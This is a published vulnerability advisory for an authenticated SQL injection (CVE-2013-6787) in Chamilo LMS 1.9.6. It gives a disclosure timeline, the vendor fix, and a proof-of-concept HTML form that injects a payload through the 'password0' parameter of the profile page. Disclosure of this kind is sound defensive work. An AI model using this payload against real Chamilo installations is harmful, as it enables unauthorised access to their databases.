SQL Injection in Chamilo LMS

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Advisory ID:	HTB23182
Product:	Chamilo LMS
Vendor:	Chamilo Association
Vulnerable Versions:	1.9.6 and probably prior
Tested Version:	1.9.6
Advisory Publication:	November 6, 2013 [without technical details]
Vendor Notification:	November 6, 2013
Vendor Fix:	November 9, 2013
Public Disclosure:	November 27, 2013
Latest Update:	November 8, 2013
Vulnerability Type:	SQL Injection [CWE-89]
CVE Reference:	CVE-2013-6787
Risk Level:	Medium

CVSSv2 Base Score:	6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status:	Fixed by Vendor
Discovered and Provided:	High-Tech Bridge Security Research Lab
Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in Chamilo LMS, which can be exploited to perform SQL Injection attacks. 1) SQL Injection in Chamilo LMS: CVE-2013-6787 The vulnerability exists due to insufficient validation of "password0" HTTP POST parameter passed to "/main/auth/profile.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database. The following exploitation example displays version of MySQL server: <form action="http://[host]/main/auth/profile.php" method="post" name="main"> <input type="hidden" name="password0" value="' OR substring(version(),1,1)=5 -- "> <input type="hidden" name="password1" value="password"> <input type="hidden" name="password2" value="password"> <input type="hidden" name="apply_change" value=""> <input type="hidden" name="firstname" value="first_name"> <input type="hidden" name="lastname" value="last_name"> <input type="hidden" name="username" value="username"> <input type="hidden" name="official_code" value="USER"> <input type="hidden" name="phone" value=""> <input type="hidden" name="language" value=""> <input type="hidden" name="extra_mail_notify_invitation" value=""> <input type="hidden" name="extra_mail_notify_message" value=""> <input type="hidden" name="extra_mail_notify_group_message" value=""> <input type="hidden" name="_qf__profile" value=""> <input type="hidden" name="" value=""> <input type="submit" id="btn"> </form> Successful exploitation of this vulnerability requires that the application is configured during installation not to encrypt users' passwords ("Encryption method" option is set to "none").
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Edit the source code and apply changes according to vendor's instructions:. More Information: https://support.chamilo.org/projects/chamilo-18/wiki/Security_issues#Issue-10-2013-11-06-Moderate-risk-SQL-Injection-in-specific-unrecommended-case

References:
[1] High-Tech Bridge Advisory HTB23182 - https://www.immuniweb.com/advisory/HTB23182 - SQL Injection in Chamilo LMS. [2] Chamilo LMS - http://www.chamilo.org/ - Chamilo aims at bringing you the best e-learning and collaboration platform in the open source world. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing. [6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

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